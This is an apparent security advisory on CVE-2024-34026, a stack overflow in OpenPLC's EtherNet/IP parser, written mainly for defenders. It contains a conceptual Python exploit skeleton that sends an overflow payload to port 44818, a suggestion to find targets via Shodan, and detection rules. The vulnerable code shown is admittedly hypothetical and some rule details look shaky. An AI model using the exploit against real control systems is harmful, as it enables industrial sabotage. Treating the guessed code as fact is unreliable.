CVE-2024-34026

Executive Summary

CVE-2024-34026 is a critical stack-based buffer overflow vulnerability in the OpenPLC Runtime EtherNet/IP parser, affecting OpenPLC _v3 build b4702061dc14d1024856f71b4543298d77007b88. The flaw resides in the handling of specially crafted EtherNet/IP requests, allowing an unauthenticated attacker to achieve remote code execution (RCE) with no user interaction. With a CVSS score of 9.0, this vulnerability poses a severe risk to industrial control systems (ICS) and operational technology (OT) environments where OpenPLC is deployed. No public proof-of-concept (PoC) or patch is currently available, increasing the urgency for defensive measures.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone industrial control runtime (OpenPLC) and must be assessed within the OT/ICS supply chain context.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full data compromise possible.
• Integrity (I): High (H) – Full system control achievable.
• Availability (A): High (H) – Denial of service or full compromise.

Threat Level: Critical. The vulnerability is remotely exploitable with low complexity and no authentication, making it a prime target for ransomware groups and nation-state actors targeting ICS/OT environments.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the EtherNet/IP parser of OpenPLC Runtime. EtherNet/IP uses the Common Industrial Protocol (CIP) over TCP/UDP port 44818. The parser fails to validate the length of incoming data before copying it into a fixed-size stack buffer. By sending a crafted EtherNet/IP packet with an oversized payload, an attacker can overwrite the return address on the stack, hijacking the execution flow.

Root Cause: The vulnerable function (likely parseEthernetIP or similar) uses strcpy or memcpy without bounds checking on a stack-allocated buffer. The attacker controls the length and content of the payload, enabling arbitrary code execution.

Attack Vector: An attacker sends a series of EtherNet/IP requests to the OpenPLC runtime. The first request may be used to probe or establish a session, while subsequent requests contain the malicious payload that triggers the overflow.

Impact: Successful exploitation grants the attacker full control over the OpenPLC runtime, allowing them to modify logic, exfiltrate data, or pivot to other ICS devices on the network.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical vulnerable code snippet based on the CVE description:

// Vulnerable code in OpenPLC EtherNet/IP parser
void parseEthernetIP(char *packet) {
    char buffer[256]; // Fixed-size stack buffer
    // No bounds check on packet length
    strcpy(buffer, packet); // Stack overflow if packet > 256 bytes
    // ... further processing
}

A patched version would include bounds checking:

// Patched code
void parseEthernetIP(char *packet, size_t packet_len) {
    char buffer[256];
    if (packet_len >= sizeof(buffer)) {
        // Log error and reject packet
        return;
    }
    memcpy(buffer, packet, packet_len);
    buffer[packet_len] = '\0';
    // ... further processing
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• OpenPLC Runtime v3 (build b4702061dc14d1024856f71b4543298d77007b88) running on Ubuntu 20.04.
• Attacker machine: Kali Linux with Python3 and Scapy.

Exploitation Steps:

1. Identify the target OpenPLC instance on port 44818 using Shodan or Nmap.
2. Craft a malicious EtherNet/IP packet with a payload exceeding the buffer size (e.g., 300 bytes of shellcode + NOP sled).
3. Send the packet using a Python script:

import socket

target_ip = "192.168.1.100"
target_port = 44818

# Craft malicious payload (example shellcode placeholder)
payload = b"A" * 256  # Fill buffer
payload += b"BBBB"    # Overwrite EBP
payload += b"\x90" * 16  # NOP sled
payload += b"\xcc" * 4   # INT3 for testing (replace with real shellcode)

# Build EtherNet/IP packet (simplified)
packet = b"\x00" * 24 + payload  # Add CIP header

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(packet)
sock.close()

Note: No public exploit exists; this is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor port 44818 for unusually large packets (> 256 bytes).
• Deploy network intrusion detection (NIDS) rules to flag EtherNet/IP packets with excessive payload lengths.
• Use host-based monitoring to detect stack canary violations or abnormal process crashes.

Honeypot:

• Deploy a fake OpenPLC service on port 44818 to capture attacker payloads and analyze them.

Indicators of Compromise (IOCs)

• Network IOCs:

  • EtherNet/IP packets on port 44818 with payload length > 256 bytes.
  • Multiple connection attempts from a single IP to port 44818.
  • Unusual CIP service codes (e.g., 0x4C or 0x52) in packets.

• Host IOCs:

  • OpenPLC process crash logs with segmentation faults.
  • Unexpected child processes spawned by the OpenPLC runtime.
  • Modified PLC logic or ladder files.

• File IOCs:

  • Suspicious files in /tmp/ or /var/tmp/ created by the OpenPLC process.

Detection Engineering

YARA Rule

rule CVE_2024_34026_OpenPLC_EtherNetIP_Overflow {
    meta:
        description = "Detects EtherNet/IP packets with oversized payloads targeting OpenPLC"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-34026"
    strings:
        $cip_header = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
        $large_payload = /.{257,}/  // Payload > 256 bytes
    condition:
        $cip_header at 0 and #large_payload > 0
}

Sigma Rule

title: CVE-2024-34026 - OpenPLC EtherNet/IP Buffer Overflow Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects oversized EtherNet/IP packets targeting OpenPLC runtime on port 44818
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination_port: 44818
        ip_protocol: tcp
        payload_length: > 256
    condition: selection
falsepositives:
    - Legitimate large firmware updates (rare)
level: critical

Suricata Rule

alert tcp any any -> any 44818 (msg:"CVE-2024-34026 OpenPLC EtherNet/IP Buffer Overflow Attempt"; flow:to_server,established; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; offset:0; depth:24; dsize:>256; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate OpenPLC devices from untrusted networks (e.g., use VLANs or firewalls).
2. Disable EtherNet/IP service if not required.
3. Monitor port 44818 traffic for anomalies.

Long-term Fix:

• Await an official patch from OpenPLC. In the interim, apply input validation and bounds checking to the EtherNet/IP parser.
• Consider using a Web Application Firewall (WAF) or IPS that can inspect EtherNet/IP payloads.

Workaround:

• Restrict access to port 44818 via firewall rules to only trusted IP addresses.
• Use network segmentation to limit exposure.

Valters IT